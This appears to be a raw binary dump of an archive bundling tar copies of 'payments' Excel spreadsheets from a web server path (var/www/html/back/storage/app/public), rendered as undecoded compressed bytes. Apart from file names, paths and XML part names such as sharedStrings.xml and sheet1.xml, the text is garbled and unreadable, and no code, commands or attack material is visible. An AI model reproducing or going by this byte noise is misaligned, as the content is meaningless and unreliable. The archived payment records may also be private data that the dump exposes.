����o�����o����I@�"PK!�#�L"",3s58b1/payments 2025-05-28 15-23-40.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-28 15-23-40.xlsx000075500000015356000000000000020157 0ustar00PK�z�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�z�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�z�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�z�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�z�Z���DrdocProps/core.xmlSV���N�0D�|E�+J��(M%�8��D\�����m�!��i�8E�?�\.��:���s�MI@#�^����6�"�G�%���9�EuV
[���$��/���
�-(�b
����|3���[S�Ŗ���]��K����ԎD�CJ1"퇫#@

54���l��C�5���9J6
;F���j�m;i�1�����c\5U��J�J)
ဣqՓ�j��d9�y}�5�xS ����ߑr�����a���<]ެnI��|��Y�_��Y�O�v�X�X?�	�@mv7����.Pa
a���ɣ
wJ��X�`�A	^8e1<�*Z'?���� p0G:�B�'};�������u��C����PK�z�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�z�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK�z�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�z�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�z�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK�z�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�z�ZG�D�Z� [Content_Types].xmlPK�z�Z�78�K �_rels/.relsPK�z�Z�$�V�� �xl/_rels/workbook.xml.relsPK�z�Zad���E �docProps/app.xmlPK�z�Z���Dr �docProps/core.xmlPK�z�Zs�{Y�� 'xl/theme/theme1.xmlPK�z�Z',�eY� 
xl/sharedStrings.xmlPK�z�Z�A	�
 �xl/styles.xmlPK�z�Z�U���v �xl/workbook.xmlPK�z�Z�f�m� �xl/worksheets/sheet1.xmlPK�z�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!I��p&&,3s58b1/payments 2025-08-01 07-45-11.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-08-01 07-45-11.xlsx000075500000017114000000000000020146 0ustar00PK�=[G�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�=[�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�=[�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�=[ad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�=[>�+�rdocProps/core.xmlSV���N�0D�|E�+J�P�� NTBj\�����m�i��iS
�8E�?�\�wu�|�����F�$���J�g�iu�^��#גWFÌ��ɼ<+�ͅq���
|@�������z����QH�`�Wsҭ��b��@nj]��K��v��D�GJ1 퇫"@

Ԡ��l��c����������!��j6M3j&1�����aWM��@�B�\8�h\����4:��uA�y]�����)�7���H�_�ǀL�xy��y��ޭ�I9f�iʮS���U~1ͳ윱��n�ȑZ�o��@�]��
�j�+��
wJ��XGowA	^8e1<�2Z'?���� �7:�B�'};���Ƶ��C����PK�=[s�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�=[�ҕ��xl/sharedStrings.xmlSV�V�n�@��+���Iڤ�q $��V�4�;�:-�H*�C+U���Ж;����&u^a�
<	�nJR{��BT�b{g�o��vfc�U�E6i�5�*iK�D�]s�M{�*�x�T.K���]�Z�M��kʤ5�Kj���p�NEQX�A�[r:���K�۶\|�+�ӥV�5(u�-EW��m5m����F�>vz�[��%�4X�4\>���E��5
���1���:V
� -��M*�$1�3�<��9�#�~�G��#�>���`.!�M�
���$�b����9H骾,�EY+����jY�]Pfr5��,"f@`c�.����dp�
v���u�@8A�|�$#�-�nm�o��C�zJr!�D���flE~NJ�R�N
�>��cIpŇ��C� �Zb�TA�Ԣ�h~	K�@h��̳@�����e
!h(����˫w�!� ��"~4{�)^}�K��}��W9�|K�>B9���S�X㼥�������<.�XЋv��t`�G(x�W��`J��}��.�gOR�c.e1f�	8c��}w!�#��C��|~/��F�&�F���sng\���*D��~yF̹�MS����#�8����W8��A~\E�-��#��$���J�cR<�3b�PK�=[�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�=[�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�=[n#�O-xl/worksheets/sheet1.xmlSV��]s�8��Wx|_@��:I%��t��Z�e�Զ�����~%�8�l�ivoZ[�Ϋ�G��s�[GD���&���'Y�[�~_�l���L`�K��_Pm\�1?a��#D-f0�+3�"�F�l^X�{Oi5��x�
X�p�J�����W��,&©���d����Ì���i��*icBP)�S�Ϫ����/!���GJq�(��z~E\㔎b\���{9O�~>o3B�1�T�o�W��C���U��S�g�Ex�V��v%&�)g��c���o��n2��\�}%V���/8a�V�4�JĔ�P��^�Q�O\;|�v{�����YΓ�
5��A�¾�{�*��_:�ҳE��#�QLQ"���}�'�X����>�,���a3��j
���
�7�cl�4YW�D��c�.l϶^^)�>��ޠ<_ط�m��fG����)Ņ�XU����B�H]d�T��̪�:�5N���j�N�@�ЊA���Ul�Q�����b���IP
9e06�o���gtD�7>r����e����*2�ոl�g�)K�~a;��l.>���9�f�C�:��}���l�z���g��o�������‰����0�Y�=�n����'����^	�Q�o8m
���7��wہI�������?X��%�,�p�ۆ�fv7	H�rN��b_��c��o3�����^�b��jVz\z�||�Fm�USŗ�]�1���p��p��#xj7MW��ki4U<!� p��d8o0�+O6wT�kYZnJ�&�<�U W��Un�xw��kE�T�"���Q�@�Q#�UDm$��&����fѵ24²�jC��[��u2��*���l���z��n���{_,0D0"0� d�՚_fr��p8C��!�q�9�&��5#���fV�����Mh6�5J�NB���
��Ll"Yt�-c��(�Z���'����G��l��l�&6��h[ۍ"j;�jjf35̛��T�ꛬ��6���x�c��Cpx�e:��ã��h�D�@j�>{Լ4FL��UuJ�
.`0#&�ģS�EG߆E�gJ^鐔`�01�8��1������p�@%Tߎ�#	�P�֕�qDq�qL@�>��c���� ҁ(������W"�LV�ރ⚠�چ�BQbzT�‡
\88�8q<��QB{��'�7�~�U�{K�pd�� ��ԃ�΅�.0uU�7uU�=|����7!1w�?��V
�1��qp��3doy�����[\�rV�{K�t��m��0��ap�8�㢯	M@dQ�}Bm�с��9c:�pp�o�����X������ֵ�*�g�/��d%}��%��{��La^#����/Axܡ/��2���)~YB�+A�Lq%��=���<���*c�b�1=�����CeU�B�1�%.�-L2TRq����;H�=����Bf��︻�l��{�ʍ�h7����GDx�M>k���di�k�!In���8t�:#5�E
?2�_�|!�lW�P[���$i���H��i�)>?#�|W]~��]����Ժ�M�tA�`9���+$��b|(�f��K��PK�=[�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�=[G�D�Z� [Content_Types].xmlPK�=[�78�K �_rels/.relsPK�=[�$�V�� �xl/_rels/workbook.xml.relsPK�=[ad���E �docProps/app.xmlPK�=[>�+�r �docProps/core.xmlPK�=[s�{Y�� 'xl/theme/theme1.xmlPK�=[�ҕ�� 
xl/sharedStrings.xmlPK�=[�A	�
 �xl/styles.xmlPK�=[�U���v xl/workbook.xmlPK�=[n#�O- xl/worksheets/sheet1.xmlPK�=[�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK�ePK!pR����43s58b1/payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gznu�[�����yeP\۶n�����h��&�6�k !����n�4@���\���r���^�zUo�UKjV�oU�o�1���+�����������=��;����c�����a�`k��l��vrw���	r����G\�"\���nހ�Հw�HP�/ǁ@^! ��?��aw�|wCB����y������ƿ�4M$db�"�a�/5D�"2�H��~Ǽ���3�͘���AG�L�����_�ֹ�3�R�{A=��Z�5,1z
�3�j|rʴT��9����ڑ���e��=�аkr.�>�{ι�U�v�pSf�S?l�fJ�s\Ys"L}�־^~��
奶��l�A�:nf� �g2�=czj�Z?O\ٜ�.'�!��-�N�&+�d��{O�1�Y��-�&�K-�d��:s�f{�**�B����јcL�����Y�o�{	gD�s=����ɦR��?�Ӯz3q+[��J:.`�L�r��r��Sk}��R�S��Sшͥ�.�&�C|��B�V������0��\��o�֘���O$-nOo��YM
J6�.���3��X���� kx$�}G�
"�uG��+������?h���b�a�Խ��z>���E�p�Ɯ\����V��2��\���y�C�I,l.�c
���n��R=���%��JS�R�jC���Z�iپ�ϝI��vђM�)]�aΐm|cˬ�x�_�5�=��4|L�A��*5�jӘ�����ܔ@������	D�]�$�f�B	�;L.��0�x8H�З�Sx���JĄ�ʎ�	�l��ms>��ͨ�jX�W=��n�n���0���滨P�E�ہ��xA\��!�?�� u�	_���n�i��֍��3#8RH]�����#�k��"5zZN_�\ڀ��(\8\Cu�:�]K���������5~����o02�M{�<�ؤq�g~�&��<rR��UP�o��QM��|�*}��j���q�;�F�{̩1}�t�՗m���&�"�[?�C��CGx(�D-Q�-��f�T�ݖ`n�9��F�xQ�+�2Wcl��m?.HG��&{C����с2
����t��df�Uz7�AH�]�,!��g�?���q����<�
N�x�.`�6��r��D�:I6|*����Z��7ra]7����k�n����n�fV��/��h���� �8��}J���2d��H�q��'��-
wI���J0ʐ���3+�@��r�O�-�
Ȫ%�X�N��l�ՠ�ƕ�H����S�L�2�
�W2�����2�$�
��TQ������b ��q�&�w�����I�B/���zY��z�p���C�1��9YD�
�}����:����3WbKg�D���j�}.�œQR��o
q+���#�g��	СO�����`OɊ��Mx^]�ǂe�\�'�)@��%j�;�[��;e�jX7�g�UGo^�M���rP��&wf|5��-�}޸cv���x#���W�, ��Wo��$�-_���� ��Y�(��l�;Vk~�R�.z��'J���.3��cۀֲ�u�Ly�!�.EDC�SWeғ��tf���6��B
�����T���Ǟ8�v� �?�M��w�/#�(m�	��s!�_�7�y���7��м>h���lTH�x*���0WS��1
n�{�9I҇^�3>���ghkl�#U����l�/u��
���>=���w�q�)�D�”����,�m���uZ�#<��*�X:��tTK�-`ϱ����H*5m!���*萚P��5�E�Z�?�q��eNVZRc�sx*Vd�`ZQ�~>�'J�mAPL'}U
��KkG���+�I���ӻ��
PYK�,�}�r�t�%��~O[Q�b�?�ɻ�nv���O{O5 �Bĝ:�-�P6� Q���^r1a��:9�
6-����=��@�����
$6��[4*{g�1�.-2"�l�dw���;�9GZ�{�#�Dž")T���H�!4;c��e�e΄��DS�Vr��B�M��t�̃��R5Y������S���4��-��+LYe��/��G��(�=�m����νU��B)T�����W8��2ӄ�"DA�8�ϙ��Ȣ}�2�p����EA�c?
J&��|z�ϫ'[>�s��d@��`���34AѴc�@�3�V�Y��YJ'u�?��~�~�����Q�p��!�I��re�u���ywc��ʲSE��(��j��u�Q��!�ב=�Ewҙ`c�4A��%J̍ 
�r�3S��$N���V�K�O{��˛�@�'��eO���О�
0I�<@�+*�u:��
[2lc���=ӊd`J�3�}������Q���K��ӭ���=T�=)�7��rr%s���R�ڦ�:�/��;_����\���tJ����\��"t<8TóUen�NH��
�n�˧�:#+"�T�c�`�U��k���Ζ�9Zh��ߕ"4�HV�7+>����RMv����Y���_#�r#�:KU�ӏ���y���03�����%����#�2HEB�d��M1���h1��l��/c|4�o<�m�/ �Z�m~j�B}�5q=a!�h�b&�9IZ�x*F�s���cQ�FC���b�fD��2�}S$q���`F�M�(K;�@��u��蹬�+��IZ�ނ�P�>���*�&��yf�K�uS���$���
+��i>��AGY���`?�� ّDq�(���O��>3őp�^a^s�o�<�hi�5,�o:�~�S���wnW�wYJF��Pv[�Ua���]�n�.?����AԒF9���<�+Td�&�9z��o��sW�pϭh~2�~�io�#f�� ^ 0��r��de��&-엶R!�5Y�d�ހu�s��2R|
L�u���o�������1���qJO��W۰µ-(�ۉBEer�fO9���,b�6��Q�8�R_+
���'�(��p��é
W|�;�DE�C�%M���i#,��K3f�T��3�p�EV��b�<=�[ͳ5P�41uAF�?�o+l�4� _�}P�q�����u�>1�
ӳ���+�lI�A�t_Ϙ}�����ђ�4ljc���*z4���&M�0�D�i:tjק�dAu��2�~aY�ʸ)�+Z��@�+� �"���I��i��gE
�c��I�Gb�a!8�w�?�6j
T?,br]�\�K�:��ysm�]��MEz�Ǘ����V͍'{�I�c:������NSq�.�#	��F��I��X�n��i�^Ĭ�t��
1����DQ�֍v��-M����Z�>��G�J��z����D���+Asf��
H�ǻ�@��{AB�G�w���]_D�g�w�1s[긻�:Y���1��>/E�xBR���z75T�.���|��P�ȁn~i0�n(.�Ib3��r��4i�A��`��`7J�X�˼���ɵ�CE��]9j�\�6D0q�Nω)���|8��lvO�h��Q��~�%:T�tx?A�^+���E��D�w��dL�2�c�����G��+���5Kt�)�d���]n�h��W�'4�ŧ�:������~�Zf����
ʷ����X*�%(�c#�n�~�b�hہ#K.�{�N.�<���t��,?ܑY位�Fy[��.L�Qq)['�D�}�c����޷���n�a���k9�_��K���d�:��5:���_�#�
��ȉۜa94��~�D���
04��qc$89PF^�줌���/Ҍ��.�"����I�|��c�iI���W���g��U�}�=��K��L�\`�╃�S��/�,M��s��~v}y�
z�M�ڍ�3r֢�ئ�Rw�O��M	�!W���
���$Ҹw��:����p�q�;+F�� �@�v����G��SN��vLg��
�ը�3�$��U^�;bc�W;��a����YG�ؼ�뙋��;�!��Sb�iZ���K�t}�{L�"�])zOD���۫��(�Q�|B��6�!��~^LF�Ez4�N�%��V���C6�H�c-
����WLh�+�]!]�P�%D)yZylPW*��F�yiCm�u ��QK;��d0���v��K�B�73%�⑔��	=Fĭ��٭�����uћ��t�k��1<:&����M�Z�y1ČTJfk2�ؿ��)'9jJ�f�k?8����%]�H����m%�X)�cbႎ:�|�dr׏��3x�|����+�Ϋ!� y�	��ψ�s����q�7:Y
u�>9���~�r�t�/�Э>v�^щ��&�������?$��<0�}Ux��|�9��޲�AHA՛E}���BV��`����M���O���	�Z2��eYn1McR���D��>��h�b�t<��Mf�6~��~�L����V�ϼ����#sb���>Ja��p���ߕ����f�-Z�5�KK�W���oU����f�<\z�g{z6h�=��t��OS�L)f���2���gt�uG�����跥V�?�<Iu����t��ߚ��D.�l�i���~F%i���r+�emC�= �ٌ:ɑ�1
M�E��Ꝿ�+�g?�I̒��#�"�^���b�Tj�iT�u�|���H��0���v��QJ<�{If�TK�����/�B<z��&��qB
M�g�!���M�`�'�[mi	�6<]kE��T�{��2��9�Q-2�����F�O��I�uGۘDY�p��󬊠��ew�9�5�2-�A���C��oT�����a8B�Z�s���H28���3	o�ʿ�c'���b"��s�_��	v,c ����m�̅���]#��|n�����{�z�"����{��K�7b1W��g䍏ᐋ�f���G�Z�}�ށ-	Ǚ��g���9�oV0��x�.~k/�
�J(\���3��vw����=F���k�0��ru�7����AC�[�oHW[�s�)�Y9bxҺ��N�֪ڃ�`&�����B��kM�1\~uA/$Ȋh��������+�����r�eQ*�a��
%��!@R\��O����ۈ�\RO�b��4ܧ���*m�Jz&�#Z?n�3L����i���$�T��	q���톾�	zl2E)��vK�4P��`�=��~�0�Jۣ�-��J��"��S���΅�#$��|X%QC��$�u���kS�qV�V�@���I�w�O���B�Q�	Ve�H�}�n����:P���B���|�]�L'�4;6eWw�,����i� �:�!�r��+���c��oL}3���x�~N14��5��ʺ҂�a��� v�2h���K��'ڒ�W���"|��)�i%Φ�^�l�P��#׬�5͉K��Uj2�B{�1ZQ��!R��5�un�"
;4sR�I���XEeu�)y��~[-xe�V'Kg{Sm��(B�n[3�㥢'���ic���J��.G+g�
�j�N��rKe&v˳q5]z(#�G��qi�o�Y�Z��q������DB���S�
��T�Fc�N#��B�(��ۀ~T�B�D �s����d���`�{���k�w�-�	5U�������Y��z��t=�$�F�a��P�l!�7�z�$��e�O��(�M�͂\�ǯP�!�;w���W����`�3��9!%C"���ǡ%pr��	���L��<GB���÷ڸ����K+uT�J��|�@�;���^4�r7
*s&�N	6�͢�U�~֊m.���f��5~D~��C�Yn�{��^�<�"?&w�$���H�֚=agA�8�%M9?���b4�u6<sv��R���@8�S�s����X+�#5dK�g�����1nDC�K_�(Ya�ŏJu)pL��6�ʝ#��6Yss��S%�%^��-��/�-���l�V�6Z�
	�v�Yg���Z�_�;<�hj6��X�߉oD�DG�
ɫ�K���0JY�B�c}Gu��R\����a6�Ѿ��yJ�B�,�
�9�`d	�i��A5�uб!���džm^��.]�e�z�<��	����|��3�I]���nG��W���
�JO�
l�����JA�����LR"Eh4����=��~�^̓*�(�%�`#��w
K�{��TZ�Rk��{�'#!?��R��,E���VW4�x�+ܨ�6��F1w7��pʹ�]�-�E��"2��L��RX#.�?xs��f���~l\,	i>��K�̤
Ωج�
�K=k�9�J
K@��X&�OR_����>�$�98˯o���'y�Z�R\umx��2�6#J��h[��4U�P��9ɿ����85�ྲ�+��;�_t���߿:ݍ�g)�w����8�w#��ſ{�W)�B�O��w���ٯ�h���~�ߏ�
@�����w����_�����߷���H�}���W�0"�\�G�?}~E�%��/'��

�.Xw��]R����o������%-A�$PK!%-A�$$,3s58b1/payments 2025-05-30 07-59-34.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-30 07-59-34.xlsx000075500000016015000000000000020156 0ustar00PKq?�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
